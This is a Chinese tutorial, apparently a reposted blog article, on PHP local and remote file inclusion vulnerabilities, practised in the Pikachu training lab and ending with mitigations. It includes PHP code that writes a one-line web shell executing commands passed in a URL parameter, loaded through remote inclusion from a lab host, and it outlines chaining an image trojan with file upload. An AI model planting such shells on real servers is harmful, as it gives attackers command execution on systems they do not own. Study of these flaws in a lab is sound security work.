一、檔案包含漏洞概述
在web后臺開發中,程式員往往為了提高效率以及讓代碼看起來簡潔,會使用"包含"函式功能,例如把一些功能函式都寫進fuction.php中,之后當某個檔案需要呼叫的時候就直接在檔案頭中寫上一句<?php include fuction.php?>就可以呼叫函式代碼,
但是有些時候,因為網站功能的需求,會讓前端用戶選擇需要包含的檔案(或者在前端的功能中使用了"包含"功能),又由于開發人員沒有對要包含的這個檔案進行安全考慮,就導致攻擊者可以通過修改包含檔案的位置讓后臺執行任意檔案(代碼),
這種情況我們就成為"檔案包含"漏洞,檔案包含漏洞有"本地檔案包含漏洞"和"遠程檔案包含漏洞"兩種情況,
二、本地檔案包含漏洞測驗
1、我們來到pikachu平臺的File Inclusion(local)模塊,我們在選擇選單里,隨便選擇一個,點擊"提交查詢",
2、那我們嘗試修改傳入后臺的檔案,
3、下面我們來看一下原始碼
三、遠程檔案包含漏洞測驗
遠程檔案包含漏洞形式跟本地檔案包含漏洞差不多,在遠程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程的代碼~
注意:
遠程包含漏洞的前提:如果使用的是include和require,我們則需要對php.ini進行如下配置:
allow_url_fopen = on //默認打開
Allow_url_include=on //默認關閉,
1、首先檢查我們的php.ini組態檔是否需要改動,如果進行了改動,記得重啟PHPstudy服務,
2、來到對應的測驗模塊頁面
2、我們在站點的根目錄下新建一個pikachu檔案夾,在檔案夾里新建一個yijuhua.txt
文本檔案的內容如下:
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
3、我們通過192.168.33.253站點訪問我們新建的yijuhua.txt檔案,并且將URL地址欄中的值復制,
4、執行下圖中的操作,
5、然后我們點擊提交,來到資源管理器查看
6、然后我們進行遠程的呼叫,
四、檔案包含漏洞之檔案上傳漏洞的利用
如果你發現了一個包含本地檔案包含漏洞的網站,或許我們只可以查看一些檔案,
那么我們呢可以進行更深層次的利用,
剛好這個時候我們在這個網站上又發現了一個檔案上傳漏洞,我們可以將兩者結合,
思路:
- 制作一個圖片木馬,通過檔案上傳漏洞上傳
- 通過檔案包含漏洞對該圖片木馬進行"包含"
- 獲取執行結果
五、檔案包含漏洞常見防范措施
1、在功能設計上盡量不要將檔案包含函式對應的檔案放給前端進行選擇和操作,
2、過濾各種../../,http://,https://
3、配置php.ini組態檔:
allow_url_fopen = off
allow_url_include=off
magic_quotes_gpc=on
4、通過白名單策略,僅允許包含運行指定的檔案,其他的都禁止,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/43317.html
標籤:其他
上一篇:修改SVN服務端密碼后無法提交
下一篇:關于運行不同版本的Python
